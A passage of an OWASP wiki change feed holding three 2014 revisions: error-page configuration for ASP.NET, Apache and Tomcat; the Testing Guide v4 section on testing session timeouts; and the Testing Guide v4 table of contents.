--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
The resource cannot be found. &lt;br /&gt;
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
custom errors for .net are not configured.&lt;br /&gt;
&lt;br /&gt;
===Error Handling in Apache===&lt;br /&gt;
&lt;br /&gt;
Apache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.&lt;br /&gt;
&lt;br /&gt;
Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ErrorDocument 404 “Customized Not Found error message”&lt;br /&gt;
ErrorDocument 403 /myerrorpagefor403.html&lt;br /&gt;
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Site administrators are able to manage their own errors using .htaccess file if the global directive AllowOverride is configured properly in apache2.conf [3]&lt;br /&gt;
&lt;br /&gt;
The information shown by Apache in the HTTP errors can also be configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. “ServerSignature Off” (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information has to be shown in the error pages.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Error Handling in Tomcat===&lt;br /&gt;
&lt;br /&gt;
Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses.&lt;br /&gt;
&lt;br /&gt;
Customization of the error responses can be configured in the configuration file web.xml.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;error-page&amp;gt;&lt;br /&gt;
	&amp;lt;error-code&amp;gt;404&amp;lt;/error-code&amp;gt;&lt;br /&gt;
	&amp;lt;location&amp;gt;/myerrorpagefor404.html&amp;lt;/location&amp;gt;&lt;br /&gt;
&amp;lt;/error-page&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* [1] ErrorMint - http://sourceforge.net/projects/errormint/ &amp;lt;br&amp;gt;&lt;br /&gt;
* [2] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1&lt;br /&gt;
* [2] [[http://httpd.apache.org/docs/2.2/mod/core.html#errordocument ErrorDocument]] Apache ErrorDocument Directive&lt;br /&gt;
* [3] [[http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride AllowOverride]] Apache AllowOverride Directive&lt;br /&gt;
* [4] [[http://httpd.apache.org/docs/2.2/mod/core.html#servertokens ServerTokens]] Apache ServerTokens Directive&lt;br /&gt;
* [5] [[http://httpd.apache.org/docs/2.2/mod/core.html#serversignature ServerSignature]] Apache ServerSignature Directive&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Session_Timeout_(OTG-SESS-007)&amp;diff=180298</id>
		<title>Test Session Timeout (OTG-SESS-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Session_Timeout_(OTG-SESS-007)&amp;diff=180298"/>
				<updated>2014-08-08T12:47:29Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
In this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
All applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Session timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user's session and delete every data stored on the client. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as 'cookie replay'). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim's PC), but, in a variety of cases, this may not be impossible or particularly difficult. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.   &lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
The same approach seen in the [[Testing for logout functionality (OTG-SESS-006)]] section can be applied when measuring the timeout log out.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The testing methodology is very similar. First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it's possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it's not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Gray Box Testing ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The tester needs to check that:&lt;br /&gt;
* The log out function effectively destroys all session token, or at least renders them unusable,&lt;br /&gt;
* The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers&lt;br /&gt;
* A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. HttpSession.invalidate() in Java and Session.abandon() in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=180297</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=180297"/>
				<updated>2014-08-08T12:45:30Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the FINAL table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;At the moment the project is in the REVIEW phase. &amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 1st April 2014'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
'''2.4 Deriving Security Test Requirements'''&lt;br /&gt;
&lt;br /&gt;
'''2.5 Security Tests Integrated in Development and Testing Workflows'''&lt;br /&gt;
&lt;br /&gt;
'''2.6 Security Test Data Analysis and Reporting'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Security Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001) |4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]]&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] &lt;br /&gt;
&lt;br /&gt;
[[Review_Webserver_Metafiles_for_Information_Leakage_(OTG-INFO-003) |4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] &lt;br /&gt;
&lt;br /&gt;
[[Enumerate Applications on Webserver (OTG-INFO-004) |4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] &lt;br /&gt;
&lt;br /&gt;
[[Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005) |4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] &lt;br /&gt;
&lt;br /&gt;
[[Identify_application_entry_points_(OTG-INFO-006) |4.2.6 Identify application entry points (OTG-INFO-006) ]] &lt;br /&gt;
&lt;br /&gt;
[[Map_execution_paths_through_application_(OTG-INFO-007) |4.2.7 Map execution paths through application (OTG-INFO-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Fingerprint_Web_Application_Framework_(OTG-INFO-008) |4.2.8 Fingerprint Web Application Framework (OTG-INFO-008) ]] &lt;br /&gt;
&lt;br /&gt;
[[Fingerprint_Web_Application_(OTG-INFO-009) |4.2.9 Fingerprint Web Application (OTG-INFO-009) ]] &lt;br /&gt;
&lt;br /&gt;
[[Map_Application_Architecture_(OTG-INFO-010) |4.2.10 Map Application Architecture (OTG-INFO-010) ]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deployment Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Network/Infrastructure Configuration (OTG-CONFIG-001)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] &lt;br /&gt;
&lt;br /&gt;
[[Test Application Platform Configuration (OTG-CONFIG-002)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]]  &lt;br /&gt;
&lt;br /&gt;
[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] &lt;br /&gt;
&lt;br /&gt;
[[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] &lt;br /&gt;
&lt;br /&gt;
[[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] &lt;br /&gt;
&lt;br /&gt;
[[Test HTTP Methods (OTG-CONFIG-006)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] &lt;br /&gt;
&lt;br /&gt;
[[Test HTTP Strict Transport Security (OTG-CONFIG-007)|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-007) ]] &lt;br /&gt;
&lt;br /&gt;
[[Test RIA cross domain policy (OTG-CONFIG-008)|4.3.8 Test RIA cross domain policy (OTG-CONFIG-008) ]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OTG-IDENT-005)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OTG-AUTHN-002)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OTG-AUTHN-003)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OTG-AUTHN-005)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OTG-AUTHN-006)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OTG-AUTHN-007)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OTG-AUTHN-009)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) |4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OTG-AUTHZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OTG-AUTHZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OTG-AUTHZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OTG-SESS-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OTG-SESS-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OTG-SESS-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OTG-SESS-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OTG-SESS-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for logout functionality (OTG-SESS-006)|4.7.6 Testing for logout functionality (OTG-SESS-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-007)|4.7.7 Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OTG-SESS-008)|4.7.8 Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Input Validation|'''4.8 Input Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OTG-INPVAL-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OTG-INPVAL-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OTG-INPVAL-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OTG-INPVAL-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.5.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.5.2 MySQL Testing]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.5.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OTG-INPVAL-006)|4.8.6 Testing for LDAP Injection  (OTG-INPVAL-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OTG-INPVAL-007)|4.8.7 Testing for ORM Injection   (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OTG-INPVAL-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OTG-INPVAL-009)|4.8.9 Testing for SSI Injection  (OTG-INPVAL-009)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OTG-INPVAL-010)|4.8.10 Testing for XPath Injection  (OTG-INPVAL-010)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OTG-INPVAL-011)|4.8.11 IMAP/SMTP Injection  (OTG-INPVAL-011)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OTG-INPVAL-012)|4.8.12 Testing for Code Injection  (OTG-INPVAL-012)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OTG-INPVAL-013)|4.8.13 Testing for Command Injection   (OTG-INPVAL-013)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OTG-INPVAL-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-014)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.14.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OTG-INPVAL-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-015)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-016)|4.8.16 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-016) ]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Handling|'''4.9 Testing for Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OTG-ERR-001)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OTG-ERR-002)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak Cryptography|'''4.10 Testing for weak Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)| 4.10.1 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OTG-CRYPST-002)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic|'''4.11 Business Logic Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.11.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.11.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.11.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Test for Process Timing (OTG-BUSLOGIC-004)|4.11.4 Test for Process Timing (OTG-BUSLOGIC-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-005)|4.11.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)|4.11.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-007)|4.11.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)|4.11.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Malicious Files (OTG-BUSLOGIC-009)|4.11.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.12 Client Side Testing''']]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OTG-CLIENT-001)|4.12.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for JavaScript Execution (OTG-CLIENT-002)|4.12.2 Testing for JavaScript Execution (OTG-CLIENT-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTML Injection (OTG-CLIENT-003)|4.12.3 Testing for HTML Injection (OTG-CLIENT-003)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Client Side URL Redirect (OTG-CLIENT-004)|4.12.4 Testing for Client Side URL Redirect (OTG-CLIENT-004)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing_for_CSS_Injection (OTG-CLIENT-005)|4.12.5 Testing for CSS Injection (OTG-CLIENT-005)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing_for_Client_Side_Resource_Manipulation (OTG-CLIENT-006)|4.12.6 Testing for Client Side Resource Manipulation (OTG-CLIENT-006)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Cross Origin Resource Sharing (OTG-CLIENT-007)|4.12.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OTG-CLIENT-008)|4.12.8 Testing for Cross Site Flashing (OTG-CLIENT-008)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OTG-CLIENT-009)|4.12.9 Testing for Clickjacking (OTG-CLIENT-009)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets (OTG-CLIENT-010)|4.12.10 Testing WebSockets (OTG-CLIENT-010)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Web Messaging (OTG-CLIENT-011)|4.12.11 Test Web Messaging (OTG-CLIENT-011)]] &lt;br /&gt;
&lt;br /&gt;
[[Test Local Storage (OTG-CLIENT-012)|4.12.12 Test Local Storage (OTG-CLIENT-012)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Reporting |5. Reporting]]== &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
